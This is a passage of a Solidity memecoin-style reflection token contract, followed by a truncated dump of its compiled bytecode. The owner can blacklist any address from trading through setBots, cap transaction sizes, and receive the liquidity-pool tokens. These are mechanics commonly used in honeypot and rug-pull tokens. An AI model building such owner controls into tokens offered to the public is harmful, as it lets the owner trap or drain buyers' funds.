address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 4;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 5);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e50565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612973565b61045e565b6040516101789190612e35565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff2565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612924565b61048d565b6040516101e09190612e35565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612896565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613067565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129f0565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612896565b610783565b6040516102b19190612ff2565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d67565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e50565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612973565b61098d565b60405161035b9190612e35565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129af565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a42565b6110d3565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e8565b61121c565b6040516104189190612ff2565b60405180910390f35b60606040518060400160405280600981526020017f48594f474f20494e550000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a3565b84846112ab565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611476565b61055b846104a66112a3565b6105568560405180606001604052806028815260200161372b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c359092919063ffffffff16565b6112ab565b600190509392505050565b61056e6112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f32565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f32565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a3565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c99565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d05565b9050919050565b6107dc6112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f204f494e55200000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a3565b8484611476565b6001905092915050565b6109b36112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f32565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613308565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a3565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d73565b50565b610b7d6112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f32565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112ab565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bf565b6040518363ffffffff1660e01b8152600401610e1f929190612d82565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bf565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd4565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a6b565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555069152d02c7e14af6800000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107d929190612dab565b602060405180830381600087803b15801561109757600080fd5b505af11580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190612a19565b5050565b6110db6112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90612f32565b60405180910390fd5b600081116111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290612ef2565b60405180910390fd5b6111da60646111cc83683635c9adc5dea0000061206d90919063ffffffff16565b6120e890919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112119190612ff2565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131290612f92565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138290612eb2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114699190612ff2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd90612f72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611556576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154d90612e72565b60405180910390fd5b60008111611599576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159090612f52565b60405180910390fd5b6115a1610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160f57506115df610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7257600e60179054906101000a900460ff1615611842573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116eb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117455750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184157600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178b6112a3565b73ffffffffffffffffffffffffffffffffffffffff1614806118015750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e96112a3565b73ffffffffffffffffffffffffffffffffffffffff16145b611840576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183790612fd2565b60405180910390fd5b5b5b600f5481111561185157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f55750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fe57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ff5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a175750600e60179054906101000a900460ff165b15611ab85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6757600080fd5b603c42611a749190613128565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac330610783565b9050600e60159054906101000a900460ff16158015611b305750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b485750600e60169054906101000a900460ff165b15611b7057611b5681611d73565b60004790506000811115611b6e57611b6d47611c99565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c195750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2357600090505b611c2f84848484612132565b50505050565b6000838311158290611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c749190612e50565b60405180910390fd5b5060008385611c8c9190613209565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d01573d6000803e3d6000fd5b5050565b6000600654821115611d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4390612e92565b60405180910390fd5b6000611d5661215f565b9050611d6b81846120e890919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dff5781602001602082028036833780820191505090505b5090503081600081518110611e3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edf57600080fd5b505afa158015611ef3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1791906128bf565b81600181518110611f51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb830600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ab565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201c95949392919061300d565b600060405180830381600087803b15801561203657600080fd5b505af115801561204a573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561208057600090506120e2565b6000828461208e91906131af565b905082848261209d919061317e565b146120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490612f12565b60405180910390fd5b809150505b92915050565b600061212a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061218a565b905092915050565b806121405761213f6121ed565b5b61214b84848461221e565b80612159576121586123e9565b5b50505050565b600080600061216c6123fb565b9150915061218381836120e890919063ffffffff16565b9250505090565b600080831182906121d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c89190612e50565b60405180910390fd5b50600083856121e0919061317e565b9050809150509392505050565b600060085414801561220157506000600954145b1561220b5761221c565b600060088190555060006009819055505b565b6000806000806000806122308761245d565b95509550955095509550955061228e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236f8161256c565b6123798483612629565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d69190612ff2565b60405180910390a3505050505050505050565b60016008819055506004600981905550565b600080600060065490506000683635c9adc5dea000009050612431683635c9adc5dea000006006546120e890919063ffffffff16565b82101561245057600654683635c9adc5dea00000935093505050612459565b81819350935050505b9091565b60008060008060008060008060006124798a6008546005612663565b925092509250600061248961215f565b9050600080600061249c8e8787876126f9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c35565b905092915050565b600080828461251d9190613128565b905083811015612562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255990612ed2565b60405180910390fd5b8091505092915050565b600061257661215f565b9050600061258d828461206d90919063ffffffff16565b90506125e181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263e826006546124c490919063ffffffff16565b6006819055506126598160075461250e90919063ffffffff16565b6007819055505050565b60008060008061268f6064612681888a61206d90919063ffffffff16565b6120e890919063ffffffff16565b905060006126b960646126ab888b61206d90919063ffffffff16565b6120e890919063ffffffff16565b905060006126e2826126d4858c6124c490919063ffffffff16565b6124c490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612712858961206d90919063ffffffff16565b90506000612729868961206d90919063ffffffff16565b90506000612740878961206d90919063ffffffff16565b905060006127698261275b85876124c490919063ffffffff16565b6124c490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612795612790846130a7565b613082565b905080838252602082019050828560208602820111156127b457600080fd5b60005b858110156127e457816127ca88826127ee565b8452602084019350602083019250506001810190506127b7565b5050509392505050565b6000813590506127fd816136e5565b92915050565b600081519050612812816136e5565b92915050565b600082601f83011261282957600080fd5b8135612839848260208601612782565b91505092915050565b600081359050612851816136fc565b92915050565b600081519050612866816136fc565b92915050565b60008135905061287b81613713565b92915050565b60008151905061289081613713565b92915050565b6000602082840312156128a857600080fd5b60006128b6848285016127ee565b91505092915050565b6000602082840312156128d157600080fd5b60006128df84828501612803565b91505092915050565b600080604083850312156128fb57600080fd5b6000612909858286016127ee565b925050602061291a858286016127ee565b9150509250929050565b60008060006060848603121561293957600080fd5b6000612947868287016127ee565b9350506020612958868287016127ee565b92505060406129698682870161286c565b9150509250925092565b6000806040838503121561298657600080fd5b6000612994858286016127ee565b92505060206129a58582860161286c565b9150509250929050565b6000602082840312156129c157600080fd5b600082013567ffffffffffffffff8111156129db57600080fd5b6129e784828501612818565b91505092915050565b600060208284031215612a0257600080fd5b6000612a1084828501612842565b91505092915050565b600060208284031215612a2b57600080fd5b6000612a3984828501612857565b91505092915050565b600060208284031215612a5457600080fd5b6000612a628482850161286c565b91505092915050565b600080600060608486031215612a8057600080fd5b6000612a8e86828701612881565b9350506020612a9f86828701612881565b9250506040612ab086828701612881565b9150509250925092565b6000612ac68383612ad2565b60208301905092915050565b612adb8161323d565b82525050565b612aea8161323d565b82525050565b6000612afb826130e3565b612b058185613106565b9350612b10836130d3565b8060005b83811015612b41578151612b288882612aba565b9750612b33836130f9565b925050600181019050612b14565b5085935050505092915050565b612b578161324f565b82525050565b612b6681613292565b82525050565b6000612b77826130ee565b612b818185613117565b9350612b918185602086016132a4565b612b9a816133de565b840191505092915050565b6000612bb2602383613117565b9150612bbd826133ef565b604082019050919050565b6000612bd5602a83613117565b9150612be08261343e565b604082019050919050565b6000612bf8602283613117565b9150612c038261348d565b604082019050919050565b6000612c1b601b83613117565b9150612c26826134dc565b602082019050919050565b6000612c3e601d83613117565b9150612c4982613505565b602082019050919050565b6000612c61602183613117565b9150612c6c8261352e565b604082019050919050565b6000612c84602083613117565b9150612c8f8261357d565b602082019050919050565b6000612ca7602983613117565b9150612cb2826135a6565b604082019050919050565b6000612cca602583613117565b9150612cd5826135f5565b604082019050919050565b6000612ced602483613117565b9150612cf882613644565b604082019050919050565b6000612d10601783613117565b9150612d1b82613693565b602082019050919050565b6000612d33601183613117565b9150612d3e826136bc565b602082019050919050565b612d528161327b565b82525050565b612d6181613285565b82525050565b6000602082019050612d7c6000830184612ae1565b92915050565b6000604082019050612d976000830185612ae1565b612da46020830184612ae1565b9392505050565b6000604082019050612dc06000830185612ae1565b612dcd6020830184612d49565b9392505050565b600060c082019050612de96000830189612ae1565b612df66020830188612d49565b612e036040830187612b5d565b612e106060830186612b5d565b612e1d6080830185612ae1565b612e2a60a0830184612d49565b979650505050505050565b6000602082019050612e4a6000830184612b4e565b92915050565b60006020820190508181036000830152612e6a8184612b6c565b905092915050565b60006020820190508181036000830152612e8b81612ba5565b9050919050565b60006020820190508181036000830152612eab81612bc8565b9050919050565b60006020820190508181036000830152612ecb81612beb565b9050919050565b60006020820190508181036000830152612eeb81612c0e565b9050919050565b60006020820190508181036000830152612f0b81612c31565b9050919050565b60006020820190508181036000830152612f2b81612c54565b9050919050565b60006020820190508181036000830152612f4b81612c77565b9050919050565b60006020820190508181036000830152612f6b81612c9a565b9050919050565b60006020820190508181036000830152612f8b81612cbd565b9050919050565b60006020820190508181036000830152612fab81612ce0565b9050919050565b60006020820190508181036000830152612fcb81612d03565b9050919050565b60006020820190508181036000830152612feb81612d26565b9050919050565b60006020820190506130076000830184612d49565b92915050565b600060a0820190506130226000830188612d49565b61302f6